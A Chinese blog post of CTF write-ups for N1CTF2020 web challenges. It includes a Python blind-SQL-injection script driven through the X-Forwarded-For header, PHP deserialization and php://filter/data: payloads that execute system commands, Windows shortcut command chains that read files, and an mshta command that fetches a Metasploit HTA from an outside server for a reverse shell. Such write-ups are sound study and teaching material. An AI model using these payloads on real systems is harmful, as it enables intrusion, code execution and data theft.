CTF笔记(八)——N1CTF2020 web writeup

N1CTF2020 SignIn

知识点:sql+反序列化

<?php 
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
        if(md5($this->check)===md5("key****************")){
            readfile('/flag');
        }
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }

}
if(isset($_GET['input'])){
    $input = $_GET['input'];
    unserialize($input);
} 反序列化
反序列化
echo serialize(new flag(new ip()));
//O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";N;}
SQL注入
# by CubeStone
import requests
import time
import sys

def Injector(url,length,payload,known="",sleep=0,sign="noip"):
    charlist=",@_{}-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/=+"
    basename=known
    length=int(length)
    for i in range(1,length+1):
        if i>len(basename)-len(known)+1:break
        for each in charlist:
            print(basename+each,end="\r")
            res=requests.get(url,headers={"X-Forwarded-For":payload.format(char=basename+each,length=len(known)+i)},timeout=2)
            if sign in res.text[res.text.find('''</code>'''):]:
                basename+=each
                print(basename)
                break
            if sleep!=0:time.sleep(sleep)
    return(basename)
if __name__ == "__main__":
    # 注表名
    Injector("http://101.32.205.189/?input=O:4:%22flag%22:2:{s:2:%22ip%22;O:2:%22ip%22:1:{s:2:%22ip%22;N;}s:5:%22check%22;N;}",20,"0' and (SELECT extractvalue(1,if((binary left((SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'n1ctf_websign'),{length})='{char}'),0,(concat(1,'n1ctf'))))) and '","n1ip,n1key")
    # 注列名
    Injector("http://101.32.205.189/?input=O:4:%22flag%22:2:{s:2:%22ip%22;O:2:%22ip%22:1:{s:2:%22ip%22;N;}s:5:%22check%22;N;}",20,"0' and (SELECT extractvalue(1,if((binary left((SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME = 'n1key'),{length})='{char}'),0,(concat(1,'n1ctf'))))) and '","")
    # 注key,注意表名key必须用反引号`括起来,因为是SQL关键字。。。
    Injector("http://101.32.205.189/?input=O:4:%22flag%22:2:{s:2:%22ip%22;O:2:%22ip%22:1:{s:2:%22ip%22;N;}s:5:%22check%22;N;}",20,"0' and (SELECT extractvalue(1,if(( left((SELECT group_concat(`key`) FROM n1ctf_websign.n1key),{length})='{char}'),0,(concat(1,'n1ctf'))))) and '","n1ctf20205bf75ab0a30")

最后的payload

http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";s:5:"n1ctf";s:5:"check";s:25:"n1ctf20205bf75ab0a30dfc0c";}

N1CTF Filter

我以为是什么神奇的绕过,炅哥说是fuzz测试,泽哥说是webpwn

<?php

isset($_POST['filters'])?print_r("show me your filters!"): die(highlight_file(__FILE__));
$input = explode("/",$_POST['filters']);
$source_file = "/var/tmp/".sha1($_SERVER["REMOTE_ADDR"]);
$file_contents = [];
foreach($input as $filter){
    array_push($file_contents, file_get_contents("php://filter/".$filter."/resource=/usr/bin/php"));
}
shuffle($file_contents);
file_put_contents($source_file, $file_contents);
try {
    require_once $source_file;
}
catch(\Throwable $e){
    pass;
}

unlink($source_file);

?>
FROM ubuntu:18.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.ustc.edu.cn/g" /etc/apt/sources.list
RUN apt-get update
RUN apt-get -y upgrade
RUN apt-get -y install tzdata
RUN apt-get -y install vim
RUN apt-get -y install apache2
RUN apt-get -y install php

RUN rm /var/www/html/index.html
COPY index.php /var/www/html/
RUN chmod -R 755 /var/www/html/

COPY flag /tmp/flag
RUN cat /tmp/flag > /var/www/html/`cat /tmp/flag`
RUN rm -rf /tmp/flag

CMD service apache2 restart & tail -F /var/log/apache2/access.log;
我以为:非预期解
<?php
$filter="read=string.strip_tags|convert.base64-decode/resource=data:text/plain,PD9waHAgZXZhbCgkX0dFVFsnbGFsYSddKTs=<?";
echo file_get_contents("php://filter/".$filter."/resource=/usr/bin/php");

只不过拿explode("/",$filter)没有办法

解决方案:

  1. php://filter可以不加过滤,也就是直接跟resource,不过我试了在get_file_contents里resource=后面直接跟网址会报错,但是在readfile里不会。

  2. data后面可以不加数据类型,但是必须要留出位置。data协议浏览器是原生支持的,甚至可以直接浏览器访问,也可以嵌入在HTML里,比如[https://fly.moe/]()

      data:,<文本数据>  
      data:text/plain,<文本数据>  
      data:text/html,<HTML代码>  
      data:text/html;base64,<base64编码的HTML代码>  
      data:text/css,<CSS代码>  
      data:text/css;base64,<base64编码的CSS代码>  
      data:text/javascript,<Javascript代码>  
      data:text/javascript;base64,<base64编码的Javascript代码>  
      data:image/gif;base64,base64编码的gif图片数据  
      data:image/png;base64,base64编码的png图片数据  
      data:image/jpeg;base64,base64编码的jpeg图片数据  
      data:image/x-icon;base64,base64编码的icon图片数据

Payload:

<?php
$filter="resource=data:,<?php system('ls');";
echo file_get_contents("php://filter/".$filter."/resource=/usr/bin/php");

测试一下官方公布的payload

其实可以不用短标签的

炅哥说
$filter="read=string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-encode|string.rot13|zlib.inflate|convert.base64-decode"
"php://filter/".$filter."/resource=/usr/bin/php"

你会发现输出了p,于是就这样凑齐所需字符

但是奈何我没搞过fuzz,比较一头雾水,一直在想怎么写算法来遍历所有可能。。。

好吧,原来是类似蒙特卡洛法,万一瞎猫抓住死耗子了呢?(1/10000*10000=1)

官方fuzz:fz.php

喂喂喂,convert.iconv是啥啊,为啥php文档里没有!!!!

然后模糊测试的时候没必要搭建docker,尽管他给了我们dockerfile,直接filter=read=convert.base64-encode然后将网页回显解码回来存为二进制文件php即可

N1CTF The King of Phish(Victim Bot)

知识点:cmd命令执行+windows快捷方式

P.S. 官方write up里给出了很多种windows命令行命令执行的方式,这里就讲我尝试了的几个方案

文件上传框啦↓

<form action="/send" method="post" enctype="multipart/form-data"><input name="file" type="file"><button type="submit">上传</button></form>
方案一

这个是我最原始的想法。我是希望通过type命令略带搅屎地把flag打印在app.py里,但是不知道为什么在题目环境里获取桌面文件目录时会超时,╮(╯▽╰)╭。本地测试如果桌面快捷方式名里没有中文字符是没有问题的,就此思路在本地复现如下

列出带有flag的文件名的lnk

目标:%ComSpec% /c    type    app.py>app2.py&&echo    ;r'''>>app.py&&dir    /b    %appdata%\..\..\Desktop|findstr    "flag"    >>app.py&&echo    '''>>app.py
起始位置:.

输出flag.txt的lnk

目标:%ComSpec% /c echo    ;r'''>>app.py&&type    %appdata%\..\..\Desktop\flag.txt    >>app.py&&echo    '''>>app.py  >>app.py&&echo    '''>>app.py
起始位置:.

清除搅屎痕迹的lnk

目标:%ComSpec% /c type    app2.py>app.py
起始位置:.
方案二:mshta

快捷方式lnk

mshta.exe https://server.icystal.top/tools/shell.hta

shell.hta由metasploit生成,参考使用mshta.exe绕过应用程序白名单(多种方法)

但是教程里都是局域网ip,问题是在公网上,如何设置本机ip让对方运行hta脚本后能和本本机取得联系???

无论是本机做内网穿透还是放在公网服务器跑我都尝试了,但是因为公网ip都不是本机生成shell.hta时会显示绑定失败

其次我也尝试使用MSFVenom手动指定ip和端口,但是也没有得到反弹的shell不知道是哪里出问题了QAQ,我太难了

一点意外的收获

windows cmd

C:\Users\q1079>echo 1> 1.txt

C:\Users\q1079>type 1.txt
ECHO is on.

不说点什么喵?

2 × 5 =

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据